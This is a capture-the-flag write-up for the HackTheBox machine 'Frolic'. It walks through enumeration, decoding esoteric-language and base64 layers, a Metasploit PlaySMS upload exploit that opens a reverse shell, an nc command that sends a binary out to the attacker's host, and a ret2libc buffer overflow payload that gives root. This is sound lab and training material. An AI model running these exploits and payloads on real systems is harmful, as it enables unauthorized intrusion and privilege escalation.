Hackthebox Frolic Writeup
24 Mar 2019
Explanation
Hackthebox is a website which has bunch of vulnerable machines in its own VPN.
This is a write-up of machine “Frolic” on that website.
Solution
1. Initial Enumeration
Port Scanning:
root@kali:~# nmap -p- 10.10.10.111 -sV -sC
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-15 09:44 EEST
Nmap scan report for 10.10.10.111
Host is up ( 0.035s latency) .
Not shown: 65530 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 ( Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 ( RSA)
| 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 ( ECDSA)
|_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 ( ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X ( workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu ( workgroup: WORKGROUP)
1880/tcp open http Node.js ( Express middleware)
|_http-title: Node-RED
9999/tcp open http nginx 1.10.3 ( Ubuntu)
|_http-server-header: nginx/1.10.3 ( Ubuntu)
|_http-title: Welcome to nginx!
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -1h55m15s , deviation: 3h10m30s, median: -5m16s
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> ( unknown)
| smb-os-discovery:
| OS: Windows 6.1 ( Samba 4.3.11-Ubuntu)
| Computer name: frolic
| NetBIOS computer name: FROLIC\x 00
| Domain name: \x 00
| FQDN: frolic
|_ System time : 2018-10-15T12:10:26+05:30
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled ( dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date : 2018-10-15 09:40:26
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done : 1 IP address ( 1 host up) scanned in 85.70 seconds
Gobuster HTTP port 1880:
root@kali:~# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s '200,204,301,302,403' -u http://10.10.10.111:1880 -x .html,.php
=====================================================
Gobuster v2.0.1 OJ Reeves ( @TheColonial)
=====================================================
[ +] Mode : dir
[ +] Url/Domain : http://10.10.10.111:1880/
[ +] Threads : 10
[ +] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[ +] Status codes : 200,204,301,302,403
[ +] Extensions : html,php
[ +] Timeout : 10s
=====================================================
2019/03/22 15:21:35 Starting gobuster
=====================================================
/red ( Status: 301)
/vendor ( Status: 301)
=====================================================
2019/03/22 16:05:09 Finished
=====================================================
Gobuster HTTP port 9999:
root@kali:~# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s '200,204,301,302,403' -u http://10.10.10.111:9999 -x .html,.php
=====================================================
Gobuster v2.0.1 OJ Reeves ( @TheColonial)
=====================================================
[ +] Mode : dir
[ +] Url/Domain : http://10.10.10.111:9999/
[ +] Threads : 10
[ +] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[ +] Status codes : 200,204,301,302,403
[ +] Extensions : html,php
[ +] Timeout : 10s
=====================================================
2019/03/22 14:35:52 Starting gobuster
=====================================================
/admin ( Status: 301)
/test ( Status: 301)
/dev ( Status: 301)
/backup ( Status: 301)
/loop ( Status: 301)
=====================================================
2019/03/22 15:18:58 Finished
=====================================================
2. Getting User
We can find a login page in “/admin” port 9999.
This login console is controlled by “/admin/js/login.js” and we can find the password “superduperlooperpassword_lol”.
root@kali:~# curl http://10.10.10.111:9999/admin/js/login.js
var attempt = 3; // Variable to count number of attempts.
// Below function Executes on click of login button.
function validate(){
var username = document.getElementById( "username" ) .value;
var password = document.getElementById( "password" ) .value;
if ( username == "admin" && password == "superduperlooperpassword_lol" ){
alert ( "Login successfully" ) ;
window.location = "success.html" ; // Redirecting to other page.
return false ;
}
else {
attempt -- ; // Decrementing by one.
alert( "You have left " +attempt+" attempt;" ) ;
// Disabling fields after 3 attempts.
if ( attempt == 0){
document.getElementById( "username" ) .disabled = true ;
document.getElementById( "password" ) .disabled = true ;
document.getElementById( "submit" ) .disabled = true ;
return false ;
}
}
}
In the redirected page “/admin/success.html”, there is a “encrypted message”
root@kali:~# cat success.html
..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... ..... ..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? ! .?.. ..... ..... ....! ..... ..... .!.?. ..... .!?!! .?!!! !!! ?. ?!.?! !!!!! ! ...! ..... ..... .!.!! !!!!! !!!!! !!! .? ..... ..... ..... ..!?! ! .?!! !!!!! !!!!! !!!! ? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... ..... ..... .?.?! .?... ..... ..... ...!. !!!!! !! .?. ..... .!?!! .?... ...?. ?!.?. ..... ..!.? ..... ..!?! ! .?!! !!!! ? .?!.? !!!!! !!!! . ?.... ..... ..... ...!? !! .?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !! .?. ..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ! .... ..... ..!.! !!!!! ! .!!! !! ... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!! !!!!! ! ?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?! .?... ..... ....! .?... ..... ..... ..!?! ! .?.. ..... ..... ..?.? ! .?.. ! .?.. ..... ..!?! ! .?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!! ?. ?!.?! !!!!! !!!!! !! ... ..... ...!. ?.... ..... ! ?!!. ?!!!! !!!! ? .?!.? !!!!! !!!!! !!! .? ..... ..!?! ! .?!! !!!! ? .?!.? !!! .! !!!!! !!!!! !!!!! ! .... ..... ..... ..... ! .!.? ..... ..... .!?!! .?!!! !!!!! !! ?.? ! .?!! ! .?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. ..... ..... .!.?. ..... ...!? !! .?! !!!!! !! ?.? ! .?!! !!! .? ..... ..!?! ! .?!! !!!! ? .?!.? !!!!! !! .?. ..... ...!? !! .?. ..... ..?.? ! .?.. ! .!!! !!!!! !!!!! !!!!! ! .?.. ..... ..!?! ! .?.. ..... .?.?! .?... .!.?. ..... ..... ..... .!?!! .?!!! !!!!! !!!!! !!! ?. ?!.?! !!!!! !!!!! !! .!! !!!!! ..... ..!.! !!!!! ! .?.
This does not make any sense. However, we can use This website to interpret this encrypted code.
We got an interesting information. Let’s try /asdiSIAJJ0QWE9JAS.
There is a bese64 encoded message.
We can figure out what’s this message by following command.
root@kali:~# echo -n UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwABBAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbsK1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmveEMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTjlurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkCAAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBPAAAAAwEAAAAA | base64 -d > b64file
root@kali:~# file b64file
b64file: Zip archive data, at least v2.0 to extract
Sounds like we got a .zip file. This has password protection but the pass is simply guessable “password”.
root@kali:~# unzip b64file
Archive: b64file
[ b64file] index.php password: # type "password"
inflating: index.php
The contents of index.php is hex value.
root@kali:~# cat index.php
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a
By using Burp Suite, we can decode this code as ASCII character.
root@kali:~# cat frolic.b64
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==
Sounds like this text is base64 encoded. Try to decode.
root@kali:~# cat frolic.b64 | base64 -d
+++++ +++++ [ ->++ +++++ +++<] > ++++ +.--- -- .++ +++++ .<+++ [ ->++ +<]> +
++.<+ ++[-> --- <] > ---- -- .-- ----- .<+++ +[->+ +++<] > +++. <+++[ ->---
<]> -- .<+++ [ ->++ +<]> + .---. <+++[ ->--- <]> -- ---- . <++++ [ ->++ ++<]>
++..<
Then, we got another brainfuck code. Again, try to use This website .
We can login to playsms which is in “/playsms”. This information is found in”/dev/backup”.
The credential is “admin:idkwhatispass”.
searchsploit:
root@kali:~# searchsploit playsms
---------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| ( /usr/share/exploitdb/)
---------------------------------------------------------------------------------------- ----------------------------------------
PlaySMS - 'import.php' ( Authenticated) CSV File Upload Code Execution ( Metasploit) | exploits/php/remote/44598.rb
PlaySMS 1.4 - '/sendfromfile.php' Remote Code Execution / Unrestricted File Upload | exploits/php/webapps/42003.txt
PlaySMS 1.4 - 'import.php' Remote Code Execution | exploits/php/webapps/42044.txt
PlaySMS 1.4 - 'sendfromfile.php?Filename' ( Authenticated) 'Code Execution (Metasploit) | exploits/php/remote/44599.rb
PlaySMS 1.4 - Remote Code Execution | exploits/php/webapps/42038.txt
PlaySms 0.7 - SQL Injection | exploits/linux/remote/404.pl
PlaySms 0.8 - ' index.php' Cross-Site Scripting | exploits/php/webapps/26871.txt
PlaySms 0.9.3 - Multiple Local/Remote File Inclusions | exploits/php/webapps/7687.txt
PlaySms 0.9.5.2 - Remote File Inclusion | exploits/php/webapps/17792.txt
PlaySms 0.9.9.2 - Cross-Site Request Forgery | exploits/php/webapps/30177.txt
---------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
This time, we can use the exploit “PlaySMS - ‘import.php’ (Authenticated) CSV File Upload Code Execution (Metasploit)”
msf5 > use exploit/multi/http/playsms_uploadcsv_exec
msf5 exploit( multi/http/playsms_uploadcsv_exec) > set rhosts 10.10.10.111
rhosts => 10.10.10.111
msf5 exploit( multi/http/playsms_uploadcsv_exec) > set lhost tun0
lhost => tun0
msf5 exploit( multi/http/playsms_uploadcsv_exec) > set rport 9999
rport => 9999
msf5 exploit( multi/http/playsms_uploadcsv_exec) > set targeturi /playsms/
targeturi => /playsms/
msf5 exploit( multi/http/playsms_uploadcsv_exec) > set password idkwhatispass
password => idkwhatispass
msf5 exploit( multi/http/playsms_uploadcsv_exec) > run
[ * ] Started reverse TCP handler on 10.10.14.23:4444
[ +] Authentication successful: admin:idkwhatispass
[ * ] Sending stage ( 38247 bytes) to 10.10.10.111
[ * ] Meterpreter session 1 opened ( 10.10.14.23:4444 -> 10.10.10.111:38400) at 2019-03-24 09:18:33 +0200
meterpreter > shell
Process 6996 created.
Channel 0 created.
cd /home
ls -la
total 16
drwxr-xr-x 4 root root 4096 Sep 23 17:56 .
drwxr-xr-x 22 root root 4096 Sep 23 17:16 ..
drwxr-xr-x 3 ayush ayush 4096 Sep 25 02:00 ayush
drwxr-xr-x 7 sahay sahay 4096 Sep 25 02:45 sahay
cd ayush
ls -la
total 36
drwxr-xr-x 3 ayush ayush 4096 Sep 25 02:00 .
drwxr-xr-x 4 root root 4096 Sep 23 17:56 ..
-rw------- 1 ayush ayush 2781 Sep 25 02:47 .bash_history
-rw-r--r-- 1 ayush ayush 220 Sep 23 17:56 .bash_logout
-rw-r--r-- 1 ayush ayush 3771 Sep 23 17:56 .bashrc
drwxrwxr-x 2 ayush ayush 4096 Sep 25 02:43 .binary
-rw-r--r-- 1 ayush ayush 655 Sep 23 17:56 .profile
-rw------- 1 ayush ayush 965 Sep 25 01:58 .viminfo
-rwxr-xr-x 1 ayush ayush 33 Sep 25 01:58 user.txt
cat user.txt
2ab95909cf509f85a6f476b59a0c2fe0
3. Getting Root
We can find an interesting binary which has SUID.
find / -perm -4000 2>/dev/null
/sbin/mount.cifs
/bin/mount
/bin/ping6
/bin/fusermount
/bin/ping
/bin/umount
/bin/su
/bin/ntfs-3g
/home/ayush/.binary/rop
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/at
/usr/bin/sudo
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/chfn
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/i386-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
This binary “rop” takes 1 argument.
./rop
[ * ] Usage: program <message>
hoge
/bin/sh: 14: hoge: not found
We can confirm that putting a long argument causes a segmentation error.
./rop aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault ( core dumped)
Besides, we can figure out ASLA is disabled.
cat /proc/sys/kernel/randomize_va_space
0
This means “rop” has buffer overflow exploit and we can take advantage of it to execute arbitraty command.
At first, we have to download the binary.
# on localhost
root@kali:~# nc -nlvp 443 > rop
listening on [ any] 443 ...
# on 10.10.10.111
nc 10.10.14.23 443 < /home/ayush/.binary/rop
Then we have to figure out the length of buffer.
Creating payload:
root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
By debugging with gdb, we can see the execution failed because it tried to jump to memory address “0x62413762”
root@kali:~# gdb rop
GNU gdb ( Debian 8.2.1-2) 8.2.1
Copyright ( C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu" .
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help , type "help" .
Type "apropos word" to search for commands related to "word" ...
Reading symbols from rop...( no debugging symbols found) ...done.
( gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Starting program: /root/rop Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Program received signal SIGSEGV, Segmentation fault.
0x62413762 in ?? ()
This address “0x62413762” is from our payload. By using “pattern_offset.rb”, we know the size of buffer is 52.
root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x62413762
[ * ] Exact match at offset 52
Then, we need information about where is the address of “libc.so.6”
ldd rop
linux-gate.so.1 => ( 0xb7fda000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 ( 0xb7e19000)
/lib/ld-linux.so.2 ( 0xb7fdb000)
Then, we have to figure out where is the address of “/bin/sh”, “system”, and “exit”.
# address of "/bin/sh"
strings -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
15ba0b /bin/sh
# address of system
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
245: 00112f20 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0
627: 0003ada0 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
# address of exit
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
112: 0002edc0 39 FUNC GLOBAL DEFAULT 13 __cxa_at_quick_exit@@GLIBC_2.10
141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 exit @@GLIBC_2.0
450: 0002edf0 197 FUNC GLOBAL DEFAULT 13 __cxa_thread_atexit_impl@@GLIBC_2.18
558: 000b07c8 24 FUNC GLOBAL DEFAULT 13 _exit@@GLIBC_2.0
616: 00115fa0 56 FUNC GLOBAL DEFAULT 13 svc_exit@@GLIBC_2.0
652: 0002eda0 31 FUNC GLOBAL DEFAULT 13 quick_exit@@GLIBC_2.10
876: 0002ebf0 85 FUNC GLOBAL DEFAULT 13 __cxa_atexit@@GLIBC_2.1.3
1046: 0011fb80 52 FUNC GLOBAL DEFAULT 13 atexit@GLIBC_2.0
1394: 001b2204 4 OBJECT GLOBAL DEFAULT 33 argp_err_exit_status@@GLIBC_2.1
1506: 000f3870 58 FUNC GLOBAL DEFAULT 13 pthread_exit@@GLIBC_2.0
2108: 001b2154 4 OBJECT GLOBAL DEFAULT 33 obstack_exit_failure@@GLIBC_2.0
2263: 0002e9f0 78 FUNC WEAK DEFAULT 13 on_exit@@GLIBC_2.0
2406: 000f4c80 2 FUNC GLOBAL DEFAULT 13 __cyg_profile_func_exit@@GLIBC_2.2
According to these information above, our target address is
system: 0xb7e19000 + 0x0003ada0 = 0xb7e53da0
exit : 0xb7e19000 + 0x0002e9d0 = 0xb7e479d0
/bin/sh: 0xb7e19000 + 0x15ba0b = 0xb7f74a0b
To obtain root shell, execute ./rop with these payloads
./rop ` python -c "print 'A'*52 + ' \x a0 \x 3d \x e5 \x b7' + ' \x d0 \x 79 \x e4 \x b4' + ' \x 0b \x 4a \x f7 \x b7'" `
id
uid = 0( root) gid = 33( www-data) groups = 33( www-data)
As always, root.txt is in the directory /root.
cat /root/root.txt
85d3fdf03f969892538ba9a731826222